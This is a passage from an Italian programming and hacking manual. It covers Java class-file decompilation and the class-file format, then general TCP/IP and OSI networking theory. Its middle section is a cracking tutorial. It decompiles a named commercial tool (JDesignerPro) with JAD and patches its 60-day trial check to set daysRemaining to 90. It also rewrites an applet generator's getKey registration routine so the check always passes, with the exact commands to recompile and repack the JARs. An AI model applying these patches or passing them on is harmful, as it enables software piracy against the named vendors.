		int    nLength  = strArg.length();

		try
		{
```

```
			for (i = 0; i < args.length; i++)
			{
				String strParam = args[i].substring(0, nLength);

				if (strArg.equalsIgnoreCase(strParam))
				{
					strValue = args[i].substring(nLength);
					if (strValue.startsWith("\""))
					{
						strValue = strValue.substring(1);
						if (strValue.endsWith("\""))
							strValue = strValue.substring(0,
strValue.length() - 1);
					}
					break;
				}
			}
		}
		catch (Exception e) {}

		return strValue;
	}

	void GetParameters(String[] args)
	{
		String param;

		param = GetParameter(PARAM_classfile, args);
		if (param != null)
			m_classfile = param;

	}

	public static void main(String[] args)
	{
		decompJavaFrame frame = new decompJavaFrame();
		decompJava applet_decompJava = new decompJava();
		frame.add("Center", applet_decompJava);
		applet_decompJava.m_fStandAlone = true;
		applet_decompJava.GetParameters(args);
		applet_decompJava.init();
	  frame.setVisible(true);
		frame.setSize(500, 330);
	}

	public String getAppletInfo()
	{
		return "Name: decompJava\r\n" +
		       "Author: Flavio Bernardotti.\r\n" +
		       "Created with Microsoft Visual J++ Version 1.1";
	}

	public String[][] getParameterInfo()
	{
		String[][] info =
		{
			{ PARAM_classfile, "String", "Parameter description" },
		};
		return info;
	}

	public void init()
	{
```

```
            if (!m_fStandAlone)
                  GetParameters(null);
      }
}
```

Eravamo rimasti al magic number e alla versione del compilatore.
Il valore successivo da leggere e' quello che rappresenta il numero delle voci della CPT.
L' elemento 0 viene utilizzato dalla macchina virtuale Java per cui il primo elemento da noi inserito avra' come indice 1.
Il numero degli elementi ci servira' a leggere un numero di strutture a lunghezza variabile rappresentate come segue :

```
cp_info {
            u1 tag;
            u1 info[];
 }
```

Il primo valore rappresenta la tipologia della voce e precisamente :

```
CONSTANT_Class                7
CONSTANT_Fieldref             9
CONSTANT_Methodref            10
CONSTANT_InterfaceMethodref   11
CONSTANT_String               8
CONSTANT_Integer              3
CONSTANT_Float                4
CONSTANT_Long                 5
CONSTANT_Double               6
CONSTANT_NameAndType          12
CONSTANT_Utf8                 1
```

U1 info[] assume una struttura diversa a seconda del tag.
La parte del codice che si interessa di creare le voci e' quella che inizia con:

```
for(int index=1;index != numConstantPool;index++) {

      tag = u41 = u42 = 0;
      u21 = u22 = 0;
      stringa = null;
      f = 0.0f;
      d = 0.0;
      l = 0L;

      try {

            ++byteRead;

            tag = in.readUnsignedByte() & 0xff;

            switch(tag) {
            case  CONSTANT_Class:
                  byteRead += 2;
```

Nel case di un tag di tipo CONSTANT_Class la struttura e'

```
CONSTANT_Class_info {
            u1 tag;
            u2 name_index;
}
```

Dove trovate name_index significa che ' il riferimento al numero di elemento della CPT dove si trova la specifica.
La rappresentazione e' particolare.
Le tipologie dei dati sono :

B byte signed byte
C char character
D double double-precision IEEE 754 float
F float single-precision IEEE 754 float
I int integer
J long long integer
L<classname>; ... an instance of the class
S short signed short
Z boolean true or false
[... one array dimension

Gli array vengono rappresentati come segue.
Ad esempio

Double d[][][] [[[D

Oppure un riferimento ad una classe del tipo

Java.awt.String Ljava/awt/String;

Le funzioni analizeString() analizeMethods() servono appunto a riportare a formato normale tali notazioni.
Le strutture dei tag CONSTANT_Fieldref, CONSTANT_Methodref e CONSTANT_InterfaceMethodref possiedono la seguente struttura :

```
CONSTANT_Fieldref_info {
            u1 tag;
            u2 class_index;
            u2 name_and_type_index;
    }


    CONSTANT_Methodref_info {
            u1 tag;
            u2 class_index;
            u2 name_and_type_index;
    }


    CONSTANT_InterfaceMethodref_info {
            u1 tag;
            u2 class_index;
            u2 name_and_type_index;
    }
```

class_index e name_and_type_index rappresentano sempre gli indici d' accesso alla CPT.
Un altro tag e' dato da CONSTANT_String che e' utilizzato per rappresentare gli oggetti di tipo java.lang.String

```
CONSTANT_String_info {
            u1 tag;
            u2 string_index;
    }
```

I tag CONSTANT_Integer e CONSTANT_Float utilizzano invece la seguente struttura.

```
CONSTANT_Integer_info {
            u1 tag;
            u4 bytes;
    }


    CONSTANT_Float_info {
            u1 tag;
            u4 bytes;
    }
```

Dove nel caso dell’ intero u4 e’ il valore.
Nel caso del float assume i seguenti valori.

- Se l’argomento e’ 0x7f800000 , il valore del float e’ un infinito positivo.
- Se il valore e’ 0xff800000 , il float e’ un infinito negativo.
- Se l’argomento e’ compreso tra 0x7f800001 e 0x7fffffff oppure tra 0xff800001 e 0xffffffff , il valore e un Nan.
- Negli altri casi

```
    int s = ((bytes >> 31) == 0) ? 1 : -1;
    int e = ((bytes >> 23) & 0xff);
    int m = (e == 0) ?
                    (bytes & 0x7fffff) << 1 :
                    (bytes & 0x7fffff) | 0x800000;
```

Il valore viene dato da S * M * 2 ^ (E – 150)

Nei casi di un CONSTANT_Long e un CONSTANT_Double il discorso e’ un po come il precedente

```
CONSTANT_Long_info {
            u1 tag;
            u4 high_bytes;
            u4 low_bytes;
    }


    CONSTANT_Double_info {
            u1 tag;
            u4 high_bytes;
            u4 low_bytes;
    }
```

Nel caso di un double il valore viene dato da

- Se l’argomento e’ 0x7f80000000000000L, il valore del float e’ un infinito positivo.
- Se il valore e’ 0xff80000000000000L , il float e’ un infinito negativo.
- Se l’argomento e’ compreso tra 0x7ff0000000000001L e 0x7fffffffffffffffL oppure tra 0xfff0000000000001L e 0xffffffffffffffffL , il valore e un Nan.
- Negli altri casi

```
int s = ((bits >> 63) == 0) ? 1 : -1;
    int e = (int)((bits >> 52) & 0x7ffL);
    long m = (e == 0) ?
            (bits & 0xfffffffffffffL) << 1 :
            (bits & 0xfffffffffffffL) | 0x10000000000000L;
```

Il valore viene dato da S * M * 2 ^ (E – 1075)

Nel caso di un CONSTANT_NameANdType la struttura sara' :

```
CONSTANT_NameAndType_info {
            u1 tag;
            u2 name_index;
            u2 descriptor_index;
    }
```

I valori name_index e descriptor_index sono sempre indici nella CPT.
CONSTANT_Utf8 rappresenta le stringhe relative ai nomi dei methodi, alle variabili ecc.
Grazie al suo metodo di trattamento riesce con un byte a rappresentare caratteri fino a 16 bits.
Da 0x01 a 0x7F sono utilizzati gli 8 bits
I caratteri da 0x80 a 07ff invece usano una parte x e una y per la rappresentazione.

```
X     1     1     1     0     bits 6-10
Y     1     0     bits 0-5
```

I bytes rappresentano il carttere con il calcolo ((X & 0x1f) << 6) + (Y & 0x3f)
I caratteri da 0x800 a 0xffff invece sono rappresentati con :

```
x:    1     1     1     0     bits 12-15
y:    1     0     bits 6-11   z:    1     0     bits 0-5
```

Il calcolo sara' ((x & 0xf) << 12) + ((y & 0x3f) << 6) + (z & 0x3f)

L' access_flag invece e' la maschera da cui si ricavano gli attributi della classe.

Flag Name	Value	Meaning Used By
ACC_PUBLIC	0x0001	Is public; may be accessed from outside its package. Class, interface
ACC_FINAL	0x0010	Is final; no subclasses allowed. Class
ACC_SUPER	0x0020	Treat superclass methods specially in invokespecial . Class, interface
ACC_INTERFACE	0x0200	Is an interface. Interface
ACC_ABSTRACT	0x0400	Is abstract; may not be instantiated. Class, interface

This_class rappresenta l' indice nella CPT da cui si ricava il nome della classe.
Super_class e' l' indice nella CPT da cui si ricava il nome della super classe, in pratica l' extends utilizzato (se utilizzato).
Interfaces_count invece e' il numero delle interfacce.
Mediante questo numero si eseguiranno N letture ognuna delle quali restitura' il numero di un ingresso nella CPT da cui ricavare i vari implements.
Rivediamo il codice

```
this_class = in.readUnsignedShort();
tmp = (decompJavaData) classTable.elementAt(this_class);
```

```
thisClassName = new String(tmp.str);
strBuf.append(thisClassName);
textfield1.append(strBuf.toString());

super_class = in.readUnsignedShort();
if(super_class != 0) {
      tmp = (decompJavaData) classTable.elementAt(super_class);
      textfield1.append(" extends ");
      tmpStr = removeSlash(tmp.str);
      textfield1.append(extractClassName(tmpStr));
}

interfaces_count = in.readUnsignedShort();
if(interfaces_count != 0) {
      textfield1.append(" implements ");
      for(idx = 0; idx != interfaces_count;idx++) {
            name_at = in.readUnsignedShort();
            tmp = (decompJavaData) classTable.elementAt(name_at);
            if(idx > 0) {
                  textfield1.append(", ");
            }
            tmpStr = removeSlash(tmp.str);
            textfield1.append(extractClassName(tmpStr));
      }
      textfield1.append("\n{\n");
}
```

Come si puo’ vedere this_class legge il numero d’ ingresso nella CPT e lo legge.
Successivamente legge supr_class e va a ricavare il nome dell’ extends.
A seconda del numero d’ interfacce, interfaces_count, esegue N letture e dopo aver reperito il nome nella CPT lo appende dopo la stringa implements.
Lo stesso discorso vale per la parte che segue relativo alle variabili.
Il campo fields_count dice quanti ingressi legati a a variabili sono presenti nel file .class
Per ogni ingresso si dovranno leggere i seguenti dati rappresentati dalla struttura :

```
field_info {
            u2 access_flags;
            u2 name_index;
            u2 descriptor_index;
            u2 attributes_count;
            attribute_info attributes[attributes_count];
    }
```

Il flag d’ accesso specifica gli attributi della variabile (e’ una maschera) e precisamente:

Flag Name	Value	Meaning and Used By
ACC_PUBLIC	0x0001	Is public ; may be accessed from outside its package. Any field
ACC_PRIVATE	0x0002	Is private ; usable only within the defining class. Class field
ACC_PROTECTED	0x0004	Is protected ; may be accessed within subclasses. Class field

ACC_STATIC	0x0008	Is static . Any field
ACC_FINAL	0x0010	Is final ; no further overriding or assignment after initialization. Any field
ACC_VOLATILE	0x0040	Is volatile; cannot be cached. Class field
ACC_TRANSIENT	0x0080	Is transient ; not written or read by a persistent object manager.Class field

Descriptor_index rappresenta l' ingresso nella CPT relativo al tipo.
Per l' identificazione riferitevi alla tabella precedente.
Ricordatevi che ad esempio una variabile long sara' specificata con Z.
Attributes_count e' il numero di attributi associati alla variabile ed espressi dalla struutura :

```
attribute_info {
            u2 attribute_name_index;
            u4 attribute_length;
            u1 info[attribute_length];
    }
```

Simile e' anche il discorso dei metodi.
Methods_count e' il numero di metodi presenti nella classe.
La struttura da cui si ricaveranno le informazioni e' la seguente.

```
method_info {
            u2 access_flags;
            u2 name_index;
            u2 descriptor_index;
            u2 attributes_count;
            attribute_info attributes[attributes_count];
    }
```

access_flags rappresenta anche i questo caso gli attributi.

Flag Name	Value	Meaning Used By
ACC_PUBLIC	0x0001	Is public ; may be accessed from outside its package. Any method
ACC_PRIVATE	0x0002	Is private ; usable only within the defining class. Class/instance method
ACC_PROTECTED	0x0004	Is protected ; may be accessed within subclasses.Class/instance method
ACC_STATIC	0x0008	Is static . Class/instance method
ACC_FINAL	0x0010	Is final ; no overriding is allowed. Class/instance

		method
ACC_SYNCHRONIZED	0x0020	Is synchronized ; wrap use in monitor lock. Class/instance method
ACC_NATIVE	0x0100	Is native ; implemented in a language other than Java.Class/instance method
ACC_ABSTRACT	0x0400	Is abstract ; no implementation is provided. Any method

Il nome viene reperito dalla CPT mediante name_index mentre gli argomenti e le tipologie di ritorno mediante descriptor_index.
Un metodo del tipo :

Object nome_metodo(String, int)

Viene rappresentato con

(Ljava/lang/String;I)Ljava/lang/Object;

La funzione analizeMethod() passandogli la stringa come quella appena vista e il nome del metodo restituisce la sua notazione normale.
Se voleste andare ad impelagarvi nella traduzione del codice allora dovrete andare a leggere le strutture attribute_count e attribute_info che finiscono la struttura.
Per un approfondimento consiglio gli scritti di Tim Lindholm, Frank Yellin della JavaSoft.

SEMPLICE SPROTEZIONE CON JAD

In ogni caso quando si cerca di sproteggere un programma JAVA l'unico modo è quello di seguirne il flusso.
Un notissimo CASE è distribuito in versione DEMO con la limitazione di 60 giorni di funzionamento.
I files del programma sono tutti contenuti in due files .JAR.
Per prima cosa bisogna riportare fuori da questi archivi i files .CLASS mediante le utility fornite con il JDJ.
I due files sono :

JDPMAin.jar
JDPSingle.jar

Mediante il comando :

jar –x JDPMain.jar *.class

riportiamo i files alla normalità.
Per capire dove viene fatto il controllo sulla data bisogna partire dall'inizio.
Per sapere in quale modulo c'è l'entry point analizziamo le proprietà presenti dentro all'icona windows da cui si esegue il programma.

La stringa è la seguente :

C:\Windows\wjview.exe JDesignerPro http://Flavio/JDesignerPro/ 01001

Esiste in circolazione un programma chiamato JAD.EXE il quale decompila i file .CLASS restituendo il file .JAVA

```
Prompt di MS-DOS
C:\BulletProof\JDesignerPro>\utility\jad
Jad v1.5.5.3. Copyright 1997-98 Pavel Kouznetsov.
Usage:    jad [option(s)] <filename(s)>
Options:
        -a       - generate JVM instructions as comments (annotate)
        -b       - generate redundant braces (braces)
        -dis     - disassembler only (disassembler)
        -d <dir> - output directory
        -f       - generate fully qualified names (fullnames)
        -i       - print default initializers for fields
        -l<num>  - split strings into pieces of max <num> chars (splitstr)
        -lvt     - ignore Local Variable Table entries
        -nl      - split strings on newline characters (splitstr)
        -o       - overwrite output files without confirmation
        -p       - send all output to STDOUT
        -pi<num> - pack imports into one line using .* (packimports)
        -pv      - pack fields of the same type into one line (packfields)
        -r       - restore package directory structure
        -s <ext> - output file extension instead of .jad
        -t<num>  - use <num> spaces for indentation (default: 4)
        -t       - use tabs for indentation instead of spaces
        -v       - verbose output

C:\BulletProof\JDesignerPro>_
```

Iniziamo a creare il sorgente del modulo da cui parte il programma ovvero quello riportato nella linea di comando.
Il file è JdesignerPro.class.

Jad JdesignerPro.class JdesignerPro.java

Una volta ricavato il sorgente partiamo dall'inzio per vedere in che punto è inserito il controllo.
Possiamo comunque cercare alcune stringhe come ad esempio :

license, day, expire ecc.

In questo caso cercando day troiveremo subito il controllo.

```
                k1 = jaggSQL.execSQL(s6, vector);
            }
        }
        if(k1 < 0)
            daysRemaining = 1;
        String s7 = "\\";
        if(JDPCompiler.indexOf("/") >= 0)
            s7 = "/";
        if(daysRemaining == 0 && JDPJagg.useJaggServer && JDPJaggDir == null)
            getUnixDaysRemaining();
        if(daysRemaining == 0 && JDPJagg.useJaggServer && k1 > 0 && JDPJaggDir !=
null)
        {
```

Sarà sufficente inserire la linea :

```
                k1 = jaggSQL.execSQL(s6, vector);
            }
        }
        if(k1 < 0)
            daysRemaining = 1;
```

```
daysRemaining = 90;

String s7 = "\\";
```

Potremmo complicarci la vita andando a cercare la routine vera e propria che deriva dall’esecuzione dell’interrogazione della prima linea, ma non ne vale la pena.
Ora ricompilamo il sorgente con :

javac JDesignerPro.java

ed inseriamo il file .CLASS ricavato nel file da cui lo avevamo estratto con :

jar –u JDesignerPro.jar JDesignerPro.class

Molti programmi cercano di complicare le idee dando nomi strani ai metodi per cui i programmi sono lunghe seuquenze di nomi del tipo :

```
ooo();
iie();
aii();
```

In questo caso mediante l’opzione Replace dell’editor usato per visualizzare il sorgente cambieremo i nomi cercando di assegnarne altri meno confusionari.
Una volta individuati i metodi potremmo cercare di capirne lo scopo e quindi potremmo successivamente assegnargli dei nomi conformi al loro scopo.
In ogni caso ricordatevi sempre di tenere ostto analisi il sistema durante l’installazione dei programmi per vedere che valori questi settano dentro al registro di windows.
Nel capitolo in cui si parlava dei vari software avevo riportato un disassemblatore Java scritto in ADA anche se di fatto JAD non mi ha mai lasciato a piedi.
Con java le cose sono abbastanza semplici in quanto le conoscenze necessarie sono quelle legate ai vari software per la creazione delle librerie .JAR e .CAB dalle quali estrapolare i file .class da modificare e nelle quali inserire i .class modificati.
Un esempio pratico per mostrare la semplicità delle sprotezioni di programmi JAVA.
Il programma in questione è un famoso generatore di Applets (ce ne sono centinaia per cui non violo nessuna legge a definire la tipologia del software in esame).
Il programma è incluso dentro ad un certo numero di files .JAR.
Creo una directory in cui inserire i software .class estratti con l’utility di compattazione di JDK.

Name	Size	Mod
..	<UP--DIR>	01/
preskey.class	945	06/
ocjwkey.class	853	05/
ocekey.class	944	06/
navkey.class	944	06/
compkey.class	945	10/

Tra i files .class estratti risultano subito emblematici :

preskey.class
ocekey.class
navkey.class
compkey.class

Quel key presente in tutti i nomi è stato quello che ha attirato la mia attenzione.
Li copio in una directory a parte e per evitare di dare 4 volte il comando JAD imbastisco da DOS la seguente riga (un semplice for da DOS) :

c:\> for %a in (*.class) do JAD %a

Il risultato sono quattro files .jad (Java Disassembled) che volendo possiamo rinominare .java.
Il contenuto di un file, compkey.java è il seguente :

```
// Decompiled by Jad v1.5.5.3. Copyright 1997-98 Pavel Kouznetsov.
// Jad home page:      http://web.unicom.com.cy/~kpd/jad.html
// Decompiler options: packimports(3)
// Source File Name:   C:\Windows\Desktop\composer\compkey.java

import java.net.URL;

class compkey
{
    public static String getKey(String note, URL u)
    {
        String regURL[] = new String[5];
        regURL[0] = "opencube";
        regURL[1] = "jesse";
        regURL[2] = "localhost";
        regURL[3] = "appletcomposer";
        regURL[4] = "dev";
        int i;
        for(i = 1; Character.isDigit(note.charAt(note.length() - i)); i++);
        if(u.getProtocol().equalsIgnoreCase("file"))
            return note.substring(0, (note.length() - i) + 1).trim();
        for(int j = 0; j < regURL.length; j++)
            if(u.getHost().toLowerCase().indexOf(regURL[j], 0) != -1)
                return note.substring(0, (note.length() - i) + 1).trim();

        return "-1";
    }

    compkey()
    {
    }
}
```

Il file modificato diventa come il seguente.

```
// Decompiled by Jad v1.5.5.3. Copyright 1997-98 Pavel Kouznetsov.
// Jad home page:      http://web.unicom.com.cy/~kpd/jad.html
// Decompiler options: packimports(3)
// Source File Name:   compkey.java

import java.net.URL;

class compkey
{
    public static String getKey(String s, URL url)
    {
        String as[] = new String[2];
        as[0] = "saintly";
        as[1] = "tex99";
        int i;
        for(i = 1; Character.isDigit(s.charAt(s.length() - i)); i++);
        if(!url.getProtocol().equalsIgnoreCase("DIEGATESDIE"))
            return s.substring(0, (s.length() - i) + 1).trim();
        for(int j = 0; j < as.length; j++)
            if(url.getHost().toLowerCase().indexOf(as[j], 0) != -1)
                return s.substring(0, (s.length() - i) + 1).trim();

        return "-1";
    }
```

```
    compkey()
    {
    }
}
```

Ne ho riportato solo uno in quanto gli altri sono simili a questo ed in ogni caso non è importante riprodurli in questo luogo.
A questo punto è sufficiente analizzare il codice e vedere in quale modo viene composta la chiave o si può sostituire le routine che ritornano vero o falso a seguito del fatto che il software sia registrato o meno, ricompilare il tutto e reinserire i file .class dentro ai files .cab o .jar originali.
Sottolineo ANALIZZARE IL CODICE in quanto qui più che mai si tratta di farlo.
In questo caso si doveva anche andare a vedere dove veniva fatta la chiamata in quanto gli argomenti passati al metodo getKey() sono fondamentali.
Un trucco per sapere dove viene fatta qualche chiamata è il seguente.
Esiste un utility che ultimamente alcune riviste hanno fornito in versione completa su CD.
Questa utility è FindIt! la quale, passandogli dei percorsi come argomenti, riesce a creare indici con le parole trovate nei files.
In altre parole prendete i files del programma e li mettete in una directory.
A questo punto avete tutti i files .class in un certo punto del disco.
Mediante il comando DOS che ho riportato prima decompilate tutti i files .class.

```
C:\> For %a in (*.class) do jad %a
```

Ora se volte potete rinominare tutti i file .jad in .java

```
C:\> Ren *.jad *.java
```

Da sotto Windows lanciate FindIt! e fategli creare un indice con tutte le parole che si trovano nei file .java situati in quella directory dove avete appena lavorato.
Avendo tutti i sorgenti potete utilizzare qualche utility per creare un cross reference del tutto.
Magari questa funzione è implementata in qualche sistema di sviluppo Java.
Comunque, per tornare a FindIt!, a questo punto tracciate il programma e se ad un certo punto vi interessa sapere dove c’è una qualche chiamata ad un metodo, getKey() ad esempio, potete usare la funzione di FIND di FindIt! il quale clickando sul file mostrato, dove si trova il riferimento, vi posizionerà direttamente in edit.
Personalmente uso FindIt! per tanti scopi simili come ad esempio con il grosso archivio FAQ di Microsoft che vengono fornite come tanti files .TXT posizionati in un albero di directory abbastanza complesso.
Quando cerco un argomento con questo programma lo trovo immediatamente.
Poi di fatto esistono tante altre utility che creano un Altavista locale, un motore di ricerca, sul vostro computer.
Molte funzioni legate alla serializzazione vengono fatte nei programmi java tramite metodi che svolgono funzionalità di rete.
Guardate nell’esempio precedente i vari URL, u.getProtocol() ecc.
Nel presente volume ho voluto inserire una parte di programmazione di rete tramite Java anche per aiutare a comprendere certe funzioni e non solo per il motivo di permettere la creazione di un libreria di metodi per l’accesso alla rete.

CONTROLLO DELLA RETE

JAVA possiede delle classi che permettono la programmazione di rete per cui penso che sia il linguaggio più idoneo per creare software agganciati a questa.
Anche le librerie del Linguaggio C possiedono funzioni potenti a riguardo degli accessi al protocollo TCP.
Per scrivere software che utilizzassero la rete le soluzioni erano diverse.
La prima riguardava certe librerie come ad esempio SuperTCP.
Queste librerie o ActiveX che siano forniscono funzionalità per accedere alla rete, possono essere utilizzate da qualsiasi linguaggio, ma possiedono il problema di essere a pagamento.
Il VisualC possiede delle classi MFC per l'accesso alla rete ma anche in questo caso il Visual C++ non è public domain.
JDK invece è possibile prelevarlo dal sito SUN e tutte le classi per la gestione della rete sono interne alle classi fornite.
Avevamo visto inizialmente dei password cracker ed altri software che usando bugs di FTP creavano accessi a sistemi remoti.
Bene.
Questi software possono essere anche facilmente scritti in Java grazie appunto a queste librerie.
L'unica cosa è che bisogna conoscere qualche concetto di programmazione in rete.
In questo capitolo tratterò sia le classi per l'uso della rete che la teoria legata a questa.
Vedrete che tra le altre cose troverete divertente e rilassante l'uso di Java.
Java faciliterà coloro che non conoscono il C e quando avranno imparato Java si renderanno conto che pasare al C++ sarà molto più semplice.
Inoltre la scelta di Java è anche legata al fatto di non fare una scelta sulla 'storia'.
Prima di iniziare a vedere l'argomento voglio sottolineare che la prima parte sarà relativa alla teoria della rete che è indipendente dal linguaggio.
Il grosso successo di Java dipende sicuramente dal fatto che la pubblicità' fattagli lo elegge a linguaggio per eccellenza per lo sviluppo di software per Internet.
Lo stesso discorso e' avvenuto con il protocollo TCP/IP la cui la strabiliante popolarità' e' derivata anche in questo caso al suo legame con Internet.
Spesso il troppo parlare di certe cose fa nascere dei miti che alcune volte portano ad esagerare sulla vera essenza di una cosa oppure spingono a utilizzare delle parole senza di fatto conoscerne il vero significato.
Java e TCP/IP costituiscono due esempi di un caso e dell' altro.
Il primo e' stato talmente pubblicizzato legato a Internet che sembra quasi che l' unico problema relativo alla scrittura di software per questa ultima sia quella di installare il compilatore.
Una volta poi installato il tutto iniziano le varie "santificazioni" quando ci si accorge che il tutto non era poi cosi semplice in quanto iniziano a sorgere un infinita di "…questo non e' possibile farlo perché il gestore della sicurezza non permette di …", "…non e' permessa la scrittura su host perché…", "…il protocollo ha problemi se si usano streams di …", ecc.
Il secondo caso invece e' costituito dal fatto che tutti parlano di TCP/IP ma pochi conoscono bene come questo funziona.
Le filosofie orientali legate allo Zen (e all' arte di programmare) parlano di "medianita'" ovvero della ricerca del punto di equilibrio.
Alcuni concetti a volte sono veramente complessi e la loro conoscenza totale porterebbe ad impiegare eccessive forze in relazione agli obbiettivi che ci si prefiggono.
Prendiamo ad esempio il protocollo TCP/IP (Transmission Control Protocol/Internet Protocol).
La conoscenza globale pretenderebbe uno sforzo notevole in quanto l' argomentazione e' veramente complessa soprattutto se si scende a livello di progettazione.
In ogni caso una buona conoscenza di alcuni principi di base permette di sopperire ad alcuni problemi che sorgono utilizzando Java in ambiente Internet.

Infatti alcune limitazioni relative agli applets sono veramente pesanti quali ad esempio quelle legate all’ impossibilita’ di leggere e scrivere files ecc.
Per rinfrescare la memoria riassumiamo qui le principali limitazioni di un applet.

1. **Java puo usare solo il proprio codice e non puo’ supportarsi su librerie esterne o utilizzare codice nativo di altra natura quali ad esempio il linguaggio C.**
2. **Un applet non puo’ leggere o scrivere files. Nel caso della lettura alcuni browser la permettono utilizzando la specifica URL al posto del nome file (vedi a seguito la parte dedicata alle URL). La scrittura di file invece puo’ avvenire mediante tecniche di programmazione client/server tramite l’ utilizzo dei socket (vedi anche in questo caso il capitolo piu’ avanti dedicato ai socket).**
3. **Una applet non può creare connessioni eccetto che con l’ host da cui proviene.**
4. **Non puo’ eseguire programmi sull’ host.**
5. **Non gli e’ permesso richiedere informazioni su alcune proprieta’ del sistema.**
6. **Una dialog creata da un applet riporta la scritta che avvisa che la finestra e’ di proprieta’ dell’ applet stessa al fine di evitare la simulazione, ad esempio, di maschere in cui vengono richieste password e codici d’ accesso ad insaputa dell’ utente.**

La conoscenza del funzionamento del protocollo e delle classi di rete permette di aggirare gli ostacoli che si creano a seguito delle precedenti limitazioni.
Innanzi tutto : che cosa sono i protocolli ?
I protocolli di comunicazione nascono dall’ esigenza di trasmettere dati su delle linee di comunicazione di diversa natura, controllandone la correttezza, in diversi ambienti, con un numero indefinito di partecipanti, con ambienti operativi differenti ecc.
Inizialmente la problematica principale nasceva dall’ esigenza di controllare la correttezza dei dati trasmessi tra due sistemi collegati punto a punto.
In pratica semplificando si potrebbe dire :

“Io ti trasmetto un numero X di dati in sequenza e mano mano che li invio eseguo la loro sommatoria. Finito di trasmetterteli ti invio la somma che ho calcolato. Tu mentre ricevi i dati da me inviati esegui la stessa somma. Se il valore che ti ho comunicato io alla fine e’ uguale a quello che hai calcolato mentre ricevevi dimmi di proseguire nell’ invio dei pacchetti se non avvertimi dell’ errore e fammi ripetere l’ invio degli stessi dati.”

Questo era valido nel caso di connessioni fisiche punto a punto.
Quando le connessioni iniziarono a riguardare reti con piu’ partecipanti il problema si estese in quanto il pacchetto che prima conteneva soltanto i dati e la somma per la verifica della correttezza dovette essere estesa includendo all’ interno di essa anche i dati relativi all’ indirizzo del mittente q uello del destinatarioi.
Questo detto in tono semplicistico per far comprendere il principio di base dei protocolli.
Esistono un infinita’ di protocolli destinati a problematiche e ad ambienti differenti.
Molti protocolli sono particolari per ambienti LAN (Local Area Network – reti locali), altri per ambienti WAN (Wide Area Network – reti geografiche) mentre altri ancora, come il TCP/IP, sono in grado di offrire ottime prestazioni in ambedue gli ambienti.
La forza di TCP/IP e’ dovuta proprio all’ equilibrio che questo ha in ambe due gli ambienti.
Inoltre TCP/IP funziona in modo egregio in ambiente multi piattaforma e questo costituisce un altro dei suoi punti di forza.
La sua origine, come moltissime altre tecnologie legate al campo del software e dell’ hardware, e’ legata al Ministero della Difesa USA come protocollo per l’ interconnessione di grandi mainframe.

Inizialmente la comunicazione tra i vari sistemi della ricerca finanziata dal Pentagono era in funzione di una rete telematica battezzata ARPANET la quale sfruttava il protocollo NCP (Network Control Protocol) per l' interconnessione dei sistemi.
Il passaggio dell' uso del protocollo da NCP a TCP su ARPANET sancì l' atto di nascita di Internet (nei primi mesi del 1983).
Inizialmente TCP/IP era solo un insieme di protocolli che permettevano la connessione di computer differenti e di trasmettere dati tra di loro.
I principi del protocollo TCP/IP erano stati comunque posti verso la meta' degli anno 70 da Vinton Cerf e Robert Kahn.
Una volta sentii dire : "… gli standards sono belli perché ce ne sono tanti … dovrebbe pero' esserci uno standard per gli standards".
Anche nel caso delle reti si e' tentato di definire degli standards e per fare questo sono nati degli appositi enti competenti.
L' autorità indiscussa nel campo delle reti e' l' ISO la quale ha emanato un modello di riferimento per regolare le comunicazioni tra computer mediante protocolli.
Questo modello prende il nome di OSI (Open Systems Interconnection).
Il modello OSI e' stato progettato per aiutare i programmatori a creare applicazioni compatibili con diverse linee di prodotti multivendor e per fare questo prevede sette strati ognuno dei quali si interessa di una determinata tipologia di problematiche.
I sette strati OSI sono i seguenti :

strato applicazione
strato di presentazione
strato di sessione
strato di trasporto
strato di rete
strato di collegamento dati
strato fisico

Esiste un altro modello di riferimento che costituisce in un certo senso la versione condensata del modello OSI che si chiama DoD e che contempla quattro strati anzi che sette.

Gli strati del modello DoD sono :

strato processo/applicazione
strato host-to-host
strato internet
strato accesso alla rete

LIVELLO APPLICAZIONE (OSI)

Il livello di applicazione del modello OSI e' quello in cui ritroviamo molti degli applicativi che sfruttano i componenti concernenti le comunicazioni.
Tra le varie applicazioni che sfruttano questo strato troviamo i software WWW, le BBS e i motori di ricerca Internet come Altavista, Yahoo etc.

Il livello di presentazione OSI ha lo scopo di presentare i dati al livello applicazione e questo viene fatto mediante alcuni standard che riguardano i contenuti multimediali come ad esempio le immagini.
JPEG, MPEG, MIDI ecc. sono appunto alcuni di questi standard.
Una nota lo merita il sistema Java per la definizione dei gestori di contenuto e di protocollo

LIVELLO DI SESSIONE (OSI)

Nello strato di sessione OSI la comunicazione viene organizzata in base a tre diverse modalità ovvero la Simplex (uno trasmette e un altro riceve), la Half Duplex (invio e ricezione dati a turno) e la Full Duplex (mediante un controllo del flusso dei dati tutti inviano e ricevono).

Sono inoltre gestite a questo strato l’ apertura della connessione, il trasferimento dei dati e la chiusura della connessione. I servizi del livello di trasporto hanno il compito di suddividere e di riassemblare le informazioni trattate a livello superiore e di convogliarle in un unico flusso di dati.

LIVELLO DI TRASPORTO (OSI)

A questo livello ritroviamo funzionalità quali quella di inviare al mittente un avviso di ricevuta dei pacchetti arrivati, di ritrasmettere ogni pacchetto non ritenuto valido, ricostruire la giusta sequenza dei pacchetti al loro arrivo, mantenere un corretto flusso di dati per impedire congestioni ecc.
Da come e’ intuibile da quanto appena detto e’ di questo livello il sistema di controllo degli errori.
Questo strato assegna ad ogni pacchetto di dati un numero di controllo che consente di eseguire la verifica dei dati giunti a destinazione.
Tra i protocolli non OSI che troviamo a questo livello ci sono :

TCP, Novell SPX, Banyan VICP, Microsoft NetBios/NetBEUI, UDP

Questo strato offre un livello di controllo dello spostamento delle informazioni tra sistemi.

STRATO DI RETE (OSI)

Definisce i protocolli di gestione del percorso sulla rete.
Questo strato può analizzare l’ indirizzo dei pacchetti per determinare il metodo di instradamento più corretto.
Se un pacchetto e’ destinato ad una stazione sulla rete locale viene inviato direttamente.
Se invece il pacchetto e’ indirizzato ad un sistema presente su una rete posta su un altro segmento il pacchetto viene inviato ad un dispositivo chiamato router che si occupa di immetterlo in rete.
I router, in breve, sono dispositivi che collegano la rete locale a quella geografica
I protocolli che utilizzano questo strato sono :

IP (Internet Protocol), X 25, Novell IPX, Banyan VIP

Ogni segmento che appartiene ad una rete (per segmento possiamo concepirla come una sotto rete) ha almeno un router che gli permette di dialogare con altre sotto reti.

STRATO DI COLLEGAMENTO DATI (OSI)

A questo livello vengono definite le regole per la trasmissione e la ricezione delle informazioni.
Il fine di questo strato e’ quello di garantire che i messaggi vengano consegnati al dispositivo giusto e di tradurre i dati in bits in modo tale da poterli far trasferire dal livello fisico.
